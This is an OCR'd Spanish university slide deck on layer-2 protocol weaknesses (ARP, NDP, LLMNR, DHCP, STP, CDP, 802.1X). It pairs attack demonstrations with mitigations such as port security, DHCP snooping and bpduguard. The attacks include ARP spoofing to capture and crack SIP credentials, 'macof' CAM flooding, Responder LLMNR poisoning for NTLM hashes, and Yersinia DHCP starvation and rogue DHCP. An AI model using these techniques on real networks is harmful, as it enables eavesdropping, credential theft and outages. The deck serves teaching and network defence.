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Agenda

# Introduccidn.

# La importancia del nivel de acceso.

# Debilidades y explotacion de protocolos.
# En que punto estamos.

# Conclusiones.
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Disclaimer

La informacion presentada a continuacidon Unicamente tiene fines educativos
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Who are the “bad g UYS“? More than half are insiders”

* Anyone who has physical or remote access to a company's assets

45%

| 31.5%
Qutsiders 9 Malicious
insiders 23.5% %

%
/P \ - Inadvertent
{ I l-..LI 1] “\ a\\‘:‘__:_"l, &‘\ actor

h- e

T

Whether they’re malicious insiders or inadvertent actors,
they pose a big security risk

Fuente: IBM 2015 Cyber Security Intelligence Index
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Infraestructura de Seguridad

SANDBOX

NGFW / WAF
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Importancia del nivel de acceso

Servidor DHCP

EESTSI sevidor radius

HSRP

&= TRUNK 802.1Q [* a Controladora Wifi

= Controladora Wifi

N2/ At

DHCP Eemammenmnt P Capa de acceso

E ) &‘_ DHCP
A____ﬁ__,‘_-»-i—-“ i g_ﬁ)‘""‘--v--__w_______3—--‘5——-“"""J

802.1X

W il DHCP DTN
{ Vlan10 Vlan20 |
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216 2.. Wisol_53:76:7d Broadcast - | 60 Who has 172.23.5.254> Tell 172.23.5.62

49¢ 1.. Apple_ae:86:bl Broadcast ARP 6@ Gratuitous ARP for 172.23.5.95 (Request)

491 1.. Apple_ae:06:bl Broadcast ARP 60 Who has 172.23.5.254? Tell 172.23.5.95
6 1.. Ciscolnc_88:df:17 Spanning-tree-(for-bridges)_e0 =T 60 RST. Root = 4896/235/54:75:d0:71:58:080 Cost = 4 Port = 0x8017
Pl " ¥22:23555253 224.0.8.2 HSRP 62 Hello (state Active)

8 3.. Ciscolnc_88:df:17 Spanning-tree-(for-bridges)_00 STP 6@ RST. Root = 4896/235/54:75:d0:71:50:80 Cost = 4 Port = 8x8017
9 3.. 172.23.5.252 224.08.0.2 HSRP 62 Hello (state Standby)

10 4.. 172.23.5.253 224.08.8.2 HSRP 62 Hello (state Active)

11 5.. CiscoInc_88:df:17 Spanning-tree-(for-bridges)_09 STP 60 RST. Root = 4896/235/54:75:d0:71:58:00 Cost = 4 Port = 0x8017
1394 2.. 172.23.5.100 255.255.255.255 m 342 DHCP Inform - Transaction ID @xdblaldcF
1395 2.. 172.23.5.253 255.255.255.255 342 DHCP ACK - Transaction ID ©xdblaldcF

260 4.. Ciscolnc_88:df:17 CDP/VTP/DTP/PAgP/UDLD
468 9.. 172.23.5.100 172.23.5.255 243 Host Announcement USUARIO-PC, Workstation, Server,
334 7.. Te80::a426:38%a:5e58:4Fa8 ff082::16 CMPVE 99 Multicast Listener Report Message v2
335 7.. Te8@::a426:38%a:5e50:4Fa8 f082::16 ICMPv6 99 Multicast Listener Report Message v2
315 6.. fe8@::9ba:3dbe:b746:75df f¥02::1:2 DHCPv6 151 Solicit XID: @x33c@ae CID: 900166811bc974763c970ead31fa

1964 406.7695760€ f0:5c:19:80:3b:c2 94:e9:6a:c6:8c:0a  [[EAP] 60 Request, Identity
184 1.. 172.23.5.113 255.255.255.255 UB-L5P-U 268 Dropbox LAN sync Discovery Protocol
185 1.. 172.23.5.113 172.23.5.255 DB-LSP-DISC 268 Dropbox LAN sync Discovery Protocol

WWW.USsj.es
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ARP

Protocolo para el descubrimiento de la direccion MAC asociada a una IPv4

Respuesta ARP:

abcd.abcd.1234 -> abed.abad.abed
La IP 192.168.1.11 es abcd.abcd.1234

IP: 192.168.1.11
MAC: abcd.abcd.1234

IP: 192.168.1.10
MAC: abcd.abcd.abcd

Peticion ARP:
abcd.abed.abed -> FFFF.FFFF.FFFF
éQuien tienelaIP 192.168.1.11?7

1P: 102.168.1.12 No implementa autentificacion
MAC: abcd.abcd.6789 . .
|Cualquier equipo puede responder a una

~

peticion ARP con su MAC, incluso enviar su

MAC para una IP determinada sin que se
solicite.

J

Expuesto a DoS, a la suplantacion y por lo tanto

a MiTM

WWW.USsj.es
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o 20 ARP: MiItM SIP

usuar lo.oper: e Servidor SIP / Proxy SIP usuar &j 2-ax
s Unauthorized 401 ObjetiVO:
. .. > Capturar el trafico SIP del vecino
< ox 200 para obtener sus credenciales y
e S > mevire . escuchar sus conversaciones
< 100 Trying SIP/SDP
[ RTP ]
v v v
Como:
P . :
(1 P L FESr——— Tratando de suplantar la |derlt|dad
o 1;) WSO S del Gateway de la Vlan con “ARP
an
\\ : SPOOFING”
o= ) o e
& &S & R
Victima (192.168.5.113) Atacante (192.168.5.100) Victima (192.168.5.113) Atacante (192.168.5.100)
MAC: 00:50:56:C0:00:01 | BB SS e e i a s e R 5 | MAC: 00:50:56:C0:00:01
ARP 00:72:56:d0:10:20 <-> 192.168.5.254

WWW.USsj.es
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* Cainy Abel: Implementar el MiTM mediante ARP poisoing.

* Wireshark: Capturar todo el trafico VolP entre la victima y el Proveedor SIP.

* Crunch: Construir diccionario de contrasefias adaptado.

* sipdump: Extraer los paquetes SIP de autentificacion.

» sipcrack: Cracker la hash de la autentificacion por fuerza bruta con nuestro diccionario

=
(B8 EoB ==
D File View Configure Tools Help
[awensnd +v e yvDnEEeO2 62 0 d Status | 1P address | MAC address | Packets -> | <- Packets | MAC address | IP address
[& Decoders [ @ Network |29 snifer [ Cracker @R Traceroute [I0 CCDU | Wieless [ Query | &h Poisoning ..5.113 3C970EAS3IF0 O 0 00000C07ACEB .5.254
IP address [ MAC address [ OUIfingerprint | Host name [B..[B..[B8 [Gr [Mo[m[m3]
0 SCTERR: Wt Mo Status | IP address | MAC address I Packets -> | <- Packets ] MAC address ] IP address
5.62 48SA3FSITETD  WISOL
-:-;83 zgg;g%;ﬁg wstronin?gomM(iuns:am 4 Full-routing 3C970EA831F0 6 6 00000C07ACEB
5135 B8763FDOEB3F H:v:r:i:i;r:ci?i’::;:\d‘."éso.,ali:. D Full-routing 3C970EAB3IF0 9 7 00000C07ACEB
zizg g{g‘éSFDOCQDS a’?s’:::ir:;:‘(i“°“l""'C°'fL"' P Full-routing 3C970EAB31F0 3 3 00000C07ACEB
5179 QOGCEREDS  Inventec 4 Full-routing 3C970EA831F0 10 7 00000C07ACEB
Ti SCOOMDBIITT  TCTMobileLimited 4 Full-routing 3C970EAS31F0 584 319 00000C07ACEB
5192 F8AODOS68AD3 D Full-routing 3C970EA831F0 89 76 00000C07ACEB
e (e 4 Full-routing 3C970EAS3LF0 7 5 00000CO7ACEB
5.254 00000COTACEB  HSRP Virtual Address QFuII—routing 3C970EA831F0 14 15 00000C07ACEB
4 Full-routing 3C970EA831F0 18 22 00000C07ACEB
ull-routin Al
®F ing 3C970EA831F0 6 4 00000C07ACEB
ull-routin
O Full ing 3C970EA831F0 7 > 00000C07ACEB
ull-routin Al
P Full ing 3C970EA831F0 20 11 00000C07ACEB
P Full-routing 3C970EA831F0 9 9 00000C07ACEB
| = Hosts [@ PR [ Routing [5% Passwords [ VolP |
Lost packets: 0%
Started I Closed I IP1 (Codec) I IP2 (Codec) I Status I

R17/02/2006-12:0233 | | "34:23300 (PCMA 8Khz... 1113:4004 (PCMA8Khz,Mono) | Recording... ||

WWW.USsj.es
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Captura de Wireshark (captura.pcapng):

Erom: sipdump extrae-dumpsip -p

<sip:+34666666661@operador.telefonia.es>;tag=b8397d01c captura.pcapng

df94512ab57f1cb4533292c¢

To: <sip:+34666666661@operador.telefonia.es> ] ]
Call-ID: 6ee49c2d5feadb6c849ddXXXXXXXXXX S|pcraf:k ?Xtra?'dl.‘mpsm -w
CSeq: 36106 REGISTER diccionario-sip.txt

User-Agent: ClienteSoftphone/X.X.X
Contact: <sip:+34666666661@192.168.5.113:5060>

Expires: 1800

Authorization: Digest

username="21XXXXXXXXXXX@operador.org", Found Accounts:
realm="operador.telefonia.es",
nonce="7F10D8FXXXXXXXXXXXXXXXXXXXXXXX",

* Generating static MD5 hash...

uri="sip:operador.telefonia.es”, 07¢d85602ddXXXXXXXXXXXXXXXXX
response="3327bd40XXXXXXXXXXXXXXXXXXXXX", * Loaded wordlist: 'diccionario-sip.txt'
algorithm=MD?5, * Starting bruteforce against user

2IXXXXXXXXXXX@operador.org' (MD5:

cnonce="efe0f073XXXXXXXXXXXXXXXXXXXXX", gop=auth, 13327 bdA0XXXXXXXXXXXXXXXXXXXXX')

nc=00000001

Content-Length: 0
* Found password: 'XXXX'
* Updating dump file 'extrae-dumpsip'... done

WWW.usj.es
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# DHCP Snooping y Dynamic ARP Inspeccion (DAI).
# ArpON, arpwatch, Patriot NG, Marmita.

# SIPS (SIP sobre TLS): Proporciona integridad y autentificacién entre el usuario y el
Proveedor SIP.

# Utilizar SRTP http://tools.ietf.org/html/rfc3711 que soporta cifrado y autentificacién.

WWW.usj.es
.
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Mac Address Table

DYNAMIC Gi1/0/26
DYNAMIC Gi1/0/26
DYNAMIC Gi1/0/26
_ ; . .€ DYNAMIC Gi1/e/1

DYNAMIC Gi1/e/2e6

DYNAMIC Gi1/e/26
DYNAMIC Gil/o/26
DYNAMIC Gil/o/26
DYNAMIC Gi1/e/26
DYNAMIC Gi1/e/26

16.3e76.T6e DYNAMIC Gii/e/2e
16.3e77. DYNAMIC Gii/e/z2e

Total Mac Address Space Available: 5096

Saturar la tabla CAM del Switch:
Sniffar toda la Vlan
Desestabilizar la red

WWW.usj.es
.
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126
H T H
:2b:

macof —i ethl

Atacante e

iSaturar tabla CAM

PID Runtime(ms) Invoked
86 1010885 488352508
151 4591454 486679912

CPU utilization for five seconds

.32299 > 0.0.0.0.65186: S 1215014569:1215014569(0) win 512
: S 549238568:549238568(0) win 512
1 S 86229022:86229022(0) win 512
1 S 1352740549:1352740549(0) win 512
: S 885593219:885593219(0) win 512
502 S 155910607:155910607(0) win 512
.0.13103: S 1300720698:1300720698(0) win 512
.0.50819: S 1574584756:1574584756(0) win 512
.61688: S 1607681650:1607681650(0) win 512
.428: S 2000289582:2000289582(0) win 512
.0.5319: S 1721956949:1721956949(0) win 512
.40340: S 1474395417:1474395417(0) win 512
.48633: S 1893872746:1893872746(0) win 512
.64334: S 498558636:498558636(0) win 512

Total Mac Address Space Available: 40

56%/5%; one minute: 21%; five minutes: 13%
USecs  55ec  1Min 5Min TTY Process

2/37.85% 8.23% 2.35% 0O HLFM address lea
9 1.75% 0.53% 0.18% 0 Hulc LED Process

WWW.usj.es
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# Port Security:

Interface GigabitEthernet0/2

Switchport port-security maximum 2
Switchport port-security

Switchport port-security violation shutdown
Switchport port-security mac-address sticky

WWW.USsj.es
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IPv6: NDP

Protocolo para el descubrimiento de la direccion MAC asociada a una IPv6

Adaptador de Ethernet Conexidn de Aarea local 4:

Sufijo DNS especifico para la conexidn. . =

Uinculo: direccidn IPub local. . . : fe8@::3c87:687a:6ab6f:f66hx26
Direccidon IPv4 : 192.168.137.1

Mascara de subred = 255.255.255.08

Puerta de enlace predeterminada

Equipo:
IP:2001:bc10::4
MAC: abcd.1234.6312

@

Router:
IP:2001:bc10::3
MAC: abcd.1234.9f32

A

§

\\\\\\

«
labcd.1234.6122 ->3333.0000.0002
éQuien es 2001:bc10::2?

Equipo:
IP:2001:bc10::1
MAC: abcd.1234.6122

g = NA: 2001:bc10::2 es abcd.1234.7a52

“o“"‘Equipo:
1P:2001:bc10::2
MAC: abcd.1234.7a52

444

No implementa autentificacion \
Presenta la misma problematica que
el protocolo ARP, cualquiera puede
enviar mensajes NA, como respuesta
a mensajes NS )

Expuesto a DoS, a la suplantacion y por lo tanto

a MiTM

WWW.usj.es
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IPv6: NDP spoofing

Un atacante envia mensajes Neighbor Advertisement anunciando su MAC como
respuesta a una solicitud (NS) de IP, y al destino indicando que su MAC es la de la IP del

equipo origen

fed0:
fed0:
fed0:
fed0:
fed0:
fede:
fede:
fed0:
fedd::

fe80::3cl6:

13e97:
1dcf6:
13e97:
1dcf6:
:3e97:
1dcf6:
:3e97:
1dcf6:
:3e97:

eff:fead:28a6
7b2b:7274:ef05
eff:fead:28ab
7b2b:7274:ef@5
eff:fea8:314c
7b2b:7274:ef@5
eff:fead:314c
7b2b:7274:ef05
eff:fea8:28a6
d68e:2932:e886

fed0@:
ffe2:
fed0@:
fed0@:
fed0@:
ffo2:
fed08:
fed@:
fed0:
fed8o:

:dcf6:7b2b:7274: 205
:1:¥fa8:28a6

:dcf6:7b2b:7274: 205
:3e97:eff:fead:28ab6
:dcf6:7b2b:7274: 205
:1:¥fa8:314c

1dcf6:7b2b:7274: 05
:3e97:eff:fead:314c
:3c16:d68e:2932:2086
:3e97:eff:fead:28ab

ICMPVE
ICMPVE
ICMPVE
ICMPVE
ICMPVE
ICMPVE
ICMPvE
ICMPvE
ICMPv6
ICMPVE

Router:
P:2001:bc10::3
MAC: abcd.1234.9f32

¥
Equipo: i

IP:2001:bc10::1
MAC: abcd.1234.6122

ot o,
iii!i 4 i.

Atacante S
6 Equipo:

1P:2001:bc10::4

MAC: abcd.1234.6312

MITM IPv6

86
86
86
86
86
86
86
86
86
86

Neighbor Solicitation for fe8@::dcf6:7b2b:7274:ef85 from 3c:97:0
Neighbor Solicitation for fe8@::3e97:eff:fea8:28a6 from lc:cl:de
Neighbor Advertisement fe8@::3e97:eff:fea8:28a6 (sol, ovr) is at
Neighbor Advertisement fe8@::dcf6:7b2b:7274:ef05 (sol, ovr) is a
Neighbor Solicitation for fe8@::dcf6:7b2b:7274:ef85 from 3c:97:0
Neighbor Solicitation for fe8@::3e97:eff:fea8:314c from lc:cl:de
Neighbor Advertisement fe8@::3e97:eff:fea8:314c (sol, ovr) is at
Neighbor Advertisement fe8@::dcf6:7b2b:7274:ef@5 (sol, ovr) is a
Neighbor Advertisement fe8@::3e97:eff:fea8:28a6 (sol, ovr) is at
Neighbor Advertisement fe8@::3cl6:d68e:2932:e886 (sol, ovr) is a

# Evil Foca
# Parasiteb

MITMIPv4 | DoSIPvée | DoSIPva | DNS Hiacking |

Neighbor advertisement spoofing (SLAAC I DHCPv6 I WPADVSI

Gateway

© © Targets (< X+

fe80:: 397 eff feal 2836 fe80::3c16:d682:2932:¢086

WWW.USsj.es
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IPv6: Medidas de proteccion

# Ndpmonitor (deteccidn).

# Secure Neighbor Discovery (SEND) RFC3971.

WWW.USsj.es
.
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Protocolo para resolucion de nombres Windows en redes locales basado en multicast y con

soporte para IPv4 e IPv6

30 4.. feB@::dcf6:7b2b:7274:ef05 102::1:3 LLMNR 84 Standard query @x7852 A wpad
31 4. 172.23.5.16@ 224.0.0.252 LLMNR 64 Standard query @x7852 A wpad
32 4.. feB@::dcf6:7b2b:7274:ef05 102::1:3 LLMNR 84 Standard query @x7852 A wpad
33 4.. 172.23.5.168@ 224.0.0.252 LLMNR 64 Standard query @x7852 A wpad

.ﬁons

2. No conozco ;
ServidorArchivos

ServidorArchivos

1. Conectar con ;
\\servidorArchivos ;

: ServidorArchivos .
Fichero Localhost -> DNS -> LLMNR@ ........ . .ge . s
N No implementa autentificacion por
------------------------ defecto
Cualquiera puede en la red local
responder a la solicitud de nombre

\

_/

WWW.USsj.es
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Respondemos con IP falsa a la peticion de resolucion y el cliente no tiene
forma de verificar si es correcto.

[*1 [LLMNR] Poisoned answer sent to 172.23.252.150 for name camiseta

2. No conozco ;
ServidorArchivos /

Atacante

) %

Responder -i eth0
1. Conectar con A
\\servidorArchivos ; 3. afguien conoce ServidorArchivos £

4. Si, yo soy Servll‘dmﬂrdnvos
T
Victima

[HTTP] NTLMvl Username :

[HTTP] NTLMv1 Hash :

WWW.usj.es




universidad

V& . . s
SANIORESE 2T LLMNR Medidas de proteccion

# Deshabilitar LLMNR si se dispone de una infraestructura
DNS.

# Propuestas de seguridad en el RFC 4795.

WWW.usj.es
.
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Protocolo para la asignacidon dinamica de direccionamiento IP

Cliente

192.168.10.253

VLAN 20
@ﬁ ==
= 192.168.20.253

K VLAN 10

DHCP RELAY

DHCP Discover DHCP Discover

>

Y

» DHCP Offer
)

DHCP Offer

A

DHCP Request (Broadcastl‘ DHCP Request
”~

A

DHCP Ack
-«

DHCP Ack

A

Servidor DHCP

T 192.168.20.22

No implementa autentificacion
Cualquiera puede solicitar una
direccion IP al Servidor u ofrecerla

Expuesto a DoS, suplantacion.

WWW.USsj.es
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Inundar al servidor DHCP con peticiones MAC para agotar sus recursos de IP

Cliente

% VLAN 10

Atacante

192.168.10.253

=

VLAN 20

Servidor DHCP (Victima)

192.168.20.253

DHCP RELAY

192.168.20.22

MAC1

Yersinia (DHCP Discover Attack):

DHCP Discover

DHCP Discover

v

MACn

DHCP Discover

DHCP Discover

errrrrrrsssreen:

PU utilization for|five seconds: 92%/
PID Runtime(ms)
32124947264240067228

37014932 417823927
1534602494
1281076933568500259
699262300
101883208

60
57
59
123
130
14

lnvoked

63539680

303346729
683332560

- -

usecs
0

88
24152
0
2305
149

one minute:

iMin

five minutes:
TTY

(5]
(5]
<]
5]
5]
5]

425587 59.
425588 59.
425589 59.
425590 59.
425591 59.
425592 59.
425593 59.
425594 59.
425595 59.
425596 59.
425597 59.
425598 59.
425599 59.
425600 59.

18859200€0.0.0.0
18859600€0.0.0.0
18859900€0.0.0.0
18881800€0.0.0.0
18882200€0.0.0.0
18882500€0.0.0.0
18882900€0.0.0.0
18883200€0.0.0.0
18883600€0.0.0.0
18883900€0.0.0.0
18884200€0.0.0.0
18884600€0.0.0.0
18884900€0.0.0.0
18906800€0.0.0.0

255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255

DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP
DHCP

286 DHCP Discover
286 DHCP Discover
286 DHCP Discover
286 DHCP Discover
286 DHCP Discover
286 DHCP Discover
286 DHCP Discover
286 DHCP Discover
286 DHCP Discover
286 DHCP Discover
286 DHCP Discover
286 DHCP Discover
286 DHCP Discover
286 DHCP Discover

- Transaction ID ©x643c9869
- Transaction ID ©x643c9869
- Transaction ID ©x643c9869
- Transaction ID 6x643c9869
- Transaction ID ©x643c9869
- Transaction ID ©x643c9869
- Transaction ID ©x643c9869
- Transaction ID ©x643c9869
- Transaction ID ©x643c9869
- Transaction ID ©x643c9869
- Transaction ID ©x643c9869
- Transaction ID 6x643c9869
- Transaction ID ©x643c9869
- Transaction ID ©x643c9869

) Yersinia 0.7.3
File Protocols Actions Options Help

I ”
Launch attack Editinterfaces

Protocols Packets

7

o
o
o
2
o
o
1

o
3

6%
Process

Cat4k Mgmt LoPri
DHCPD Receive
Catdk Mgmt HiPri
IP Input
Spanning Tree
ARP Input

Load default

CDP DHCP

SIP

0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0

Lista

It

ta

DiP

255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255
255.255.255.255

cks

802.1Q 802.1X DTP HSRP
MessageType
DISCOVER
01 DISCOVER
DISCOVER
DISCOVER
DISCOVER
DISCOVER
DISCOVER
DISCOVER
DISCOVER
DISCOVER

01

01
01
01
01
01
01
01
01

eth1 1
eth1 1
eth1 1
eth1 1
eth1 1
eth1 1
eth1 1
eth1 1
eth1 1
eth1 1

Dynamic Host Configuration Protocol

Source MAC

©.0.0.0
o1 Htype

©.0.0.0

©2:48:33:66:02:51

Destination MAC

oF
< R . P Ej
Clear stats Capture Edit mode Exit
ISL MPLS |STP VTP Yersinialog

Interface Count Lastseen

19 abr 13:56:58
19 abr 13:56:58
19 abr 13:56:58
19 abr 13:56:58
19 abr 13:56:58
19 abr 13:56:58
19 abr 13:56:58
19 abr 13:56:58
19 abr 13:56:58
19 abr 13:56:58

FF:FF:FF:FF:FF:FF

DIP 255.255.255.255 SPort 68 DPoI
o1 HLEN 06 Hops 00 Xid 00009869
Yi 0.0.0.0 Si 0.0.0.0
WWW.LU5).es
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Incorporar un nuevo Servidor DHCP al segmento de red que permita la
asignacion de direccionamiento IP

Cliente

(Victima)
192.168.10.253

VLAN 20 °

Servidor DHCP °

Yersinia
Globber

g VLAN 10

e, DHCP Discovel)
""i:,“

# "h,‘

"bl;!CP Discover

"
%,

“
<,
"

192.168.20.253

DHCP Offer % (Atacante)

i Servidor Rogue DHCP

* udhcp

192.168.20.22

CDP | DHCP | 802.1Q | 802.1X | DTP | HSRP | ISL | MPLS | STP | VTP | Yersinia log

SIP |DIP |MessageType iy Parameters list

Parameters list
Server ID |192.168.1.1

StartIP |192.168.1.10
End IP |192.168.1.250
Lease Time (secs) 600
Renew Time (secs) | 3600
Subnet Mask| 255.255.255.0
Router 192.168.1.254

Dynamic Host Configural DNS Server [192.168.1.254 -
SourceMAC  [02:48:3 Domain [hacked.com| _J§ [FF:FFiFF:FFFFiFF|  Extra
sP[0.6.6.8 | cancel oK SPort |68 pPort |67
op |81] Heype [W]ET& Xid 00009869 Secs |0008  Flags
ca le.e.0.e v [e.e.0.8 | s [e.6.8.0 G [e.6.0.0
CH  [02:48:33:66:02:51

WWW.USsj.es
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# Port-security (mitigacion):

Interface GigabitEthernet0/2

Switchport port-security maximum 2
Switchport port-security

Switchport port-security violation shutdown
Switchport port-security mac-address sticky

# DHCP Snooping:
(Config)# ip dhcp snooping vlan 10

(config-if)#interface GigabitEthernet0/2
Ip dhcp snooping trust

# Propuestas de seguridad en DHCP:
https://tools.ietf.org/html/rfc3118

WWW.usj.es
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Rapid STP permite implementar alta disponibilidad en una red de nivel 2 con
enlaces redundantes evitando bucles en la red y mejorando los tiempos de
convergencia.

Bridge Priority: 32768 Root Bridge Priority: 4096

s n I gy Mgy,
[} 2,

sqeeet? ALLTITY
T

No implementa autentificacion
Cualquiera puede participar en el
intercambio de mensajes BPDU

. _J

WWW.USsj.es
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S5 RSTP DoS

Broadcast/Multicast

Inundar la red con paquetes BPDUs creando un bucle: Tormeta

Bridge Priority: 32768

Bridge System ID: 00:1b:53:88:df:00

Domino RSTP

Root Bridge Priority: 4096

Root Bridge System ID: 54:75:d0:71:50:00

Swtich de Acceso a

gi1/0/17

Bucle

Switch (Sin capacidad STP)

SMC EZ 10/100 FS8

Atacante
% Wireshark (Observar)

CPU utilization for five seconds§99%/29%; one minute: 53%; five minutes: 21%

PID Runtime(ms) Invoked
227 26850445 208406606
207 28730 8910

Uoecs

3224

1. Observar

Procedimlento actuacién:

2. Lanzar ataque: Bucle
3. Esperar (Switch inoperativo)

674685 25.390947
674687 25.390976
674688 25.390983
674689 25.39099@
674691 25.391012
674693 25.391035
674694 25.391042
674695 25.391049
674697 25.391071
674699 25.391093
674700 25.391100
674701 25.391107
674703 25.391134
674705 25.391157
674706 25.391163
674707 25.391170
674709 25.391193
674711 25.391216
674712 25.391223
674713 25.391229
674715 25.391252
674717 25.391281
674718 25.391294
674719 25.391301
674721 25.391325

CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11
CiscoInc_88:df:11

Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_oe
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee
Spanning-tree- (for-bridges)_ee

STP
STP
STP
STP
STP
STP
STP
STP
STP
STP
STP
STP

STP
STP
STP
STP
STP
STP
STP
STP
STP
STP
STP
STP

6@ RST. Root = 4096/236/54:75:d0:71:50:00

6@ RST. Root = 32768/236/00:1b:53:88:d
32768/236/00:1b:53:88:d
4896/236/54:7
4@96/236/54:

4096/236/54:

4@96/236/54:

4896/236/5:
4@96/236/54:

32768/236/00:1b:
32768/236/00:1b:
4896/236/54:7
4@96/236/54:
= 32768/236/00:1b:
32768/236/00:1b:
4096/236/5
4896/236/5

32768/236/00:1b:53:88:df: 00
32768/236/00:1b:53:88:df: 00
1d@:71:50:00
4@96/236/54:75:d0:71:50:00
32768/236/00:1b:53:88:df: 00
32768/236/00:1b:53:88:df: 00
1d@:71:50:00
4896/236/54:75:d0:71:50:00
32768/236/00:1b:53:88:df: 00
32768/236/00:1b:53:88:df: 00

Cost = 4 Port = @x8011
Cost = @ Port = @x8ell
Cost = @ Port = @x8el1

Cost Port 8x8e1l
Cost Port ox8011
Port ox80e11

Port ox8011
Cost 4 Port ox8011
Cost = 4 Port = @x8ell

ox8011
= @x8e1l
ox8011
ex8e1l
ox8011
= 8x8el1l
ox8011
ox8011
= @x8e11
= 8x8ell
Port = @x8e11
Port = @x8e11
Port = @x8011
Port ox8011
Port ox8011

Port ox8011
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# Puertos de acceso: bpduguard:

# rootguard:

Interface GigabitEthernet0/2

Switchport port-security maximum 2
Switchport port-security

Switchport port-security violation shutdown
Switchport port-security mac-address sticky
Spanning-tree portfast

Spanning-tree bpduguard enable

Interface GigabitEthernet0/1
Switchport trunk encapsulation dotlq
Switchport mode trunk
Spanning-tree guard root

WWW.usj.es
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Protocolo propietario de Cisco para el descubrimiento de dispositivos de red, util
para la gestion de red.

Logical-Link Control
4 (Cisco Discovery Protocol
Version: 2
TTL: 18@ seconds

> Checksum: @xfe@d [correct]

4 Device ID:
Type: Device ID (@x@001)
Length: 32 M
No implementa

4 Software Version
Type: Software version (8x@005) HY -4
Lergen: 251 autentificacion
Software version: Cisco IOS Software, (3750 Software (C375@-IPSERVICESK9-M), Version 12.2(55)SE7, RELEASE SOFTWARE (fcl)
Software version: Technical Support: http://www.cisco.com/techsupport
Software version: Copyright (c) 1986-2013 by Cisco Systems, Inc.
Software version: Compiled Mon 28-Jan-13 10:16 by prod_rel_team

4 Platform: cisco WS-C3750G-24PS
Type: Platform (8x0006)
Length: 24
Platform: cisco WS-C3750G-24PS

4 Addresses
Type: Addresses (8x@002)
Length: 17
Number of addresses: 1
IP address:

Revelacidon de Informacion y Exposicion
DoS

WWW.USsj.es
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Inundar el dispositivo de red con tramas CDP falsas

CDP | DHCP | 802.1Q | 802.1X | DTP | HSRP | ISL | MPLS | STP | VTP | Yersinia log

TTL DeviD Interface Count Lastseen

N o
FF  222JJ1J eth1 1 17 may 11:30:08 Choose attack

FF  AOOOO77 eth1 1 17 may 11:30:08 §|CDP|| DHCP | 802.1Q  802.1X | DTP | H
FF SSSAAAA eth1 1 17 may 11:30:08 Choose attack

FF 6666JJJ eth1 1 17 may 11:30:08 Description DoS

B4 Rectorado_PLT Segund eth1 4 17 may 11:33:08 @® sending CDP packet

FF  FXXXXBB eth1 1 17 may 11:30:08 flooding CDP table

FF  RRRR666 eth1 1 17 may 11:30:08 Setting up a virtual device

Local Intrfce Holdtme Capability Platform Port ID
Gig 1/0/17 254 RTS yersinia Eth
Gig 1/0/17 250 RT yersinia Eth
Gig 1/0/17 249 RT yersinia Eth
Gig 1/0/17 251 yersinia Eth
Gig 1/0/17 250 yersinia Eth
Gig 1/0/17 250 yersinia Eth
Gig 1/0/17 252 yersinia Eth

PoocoooO0®0

Gig 1/0/17 248 yersinia Eth
i 1 oW L = i i o W

CPU utilization for five seconds:| 99%/22%; one minute: 20%; five minutes: 14%
PID Runtime(ms) Invoked usecs 1Min 5Min TTY Process
206 2857379 8047182 : .15% 1.91% © CDP Protocol
86 993711 485443929 ] ] . 1.14% 0 HLFM address lea
61 92262 482183 192 © EEM ED ND

WWW.usj.es
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# Deshabilitar CDP en puertos de acceso:

Interface GigabitEthernet0/2
No cdp enable

WWW.USsj.es
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ST 802.1x: EAP

Protocolo de autentificacion para el control de acceso a red basado en puerto,
solo permite trafico EAP mientras la autentificacidn no sea correcta

1964 406.7695760€ f0:5¢:19:80:3b:c2 94:e9:6a:¢6:8¢c:0a EAP 60 Request, Identity
1965 406.7699426€ IntelCor 4e:58:5¢ f0:5¢:19:80:3b:c2 EAP 30 Response, Identity
1966 406.7850560€ f0:5¢:19:80:3b:c2 94:€9:6a:¢6:8¢:0a EAP 60 Request, TLS EAP (EAP-TLS)
1967 466.7852700€ IntelCor 4e:58:5¢ f0:5¢:19:80:3b:c2 EAP 24 Response, Legacy Nak (Response Only)
1968 406.8071010€ f0:5¢:19:80:3b:c2 94:€9:6a:¢6:8c:0a EAP 60 Request, Protected EAP (EAP-PEAP) 1
1969 406.8073910¢ IntelCor 4e:58:5¢ f0:5¢:19:80:3b:c2 TLSV1 227 Client Hello PO r d efeCtO’ no 1m p I eme nta
1970 406.8151200€ f0:5¢:19:80:3b:c2 94:€9:6a:¢6:8¢:0a TLSV1 1042 Server Hello, Certificate, Server Hello Done H HY o HP4
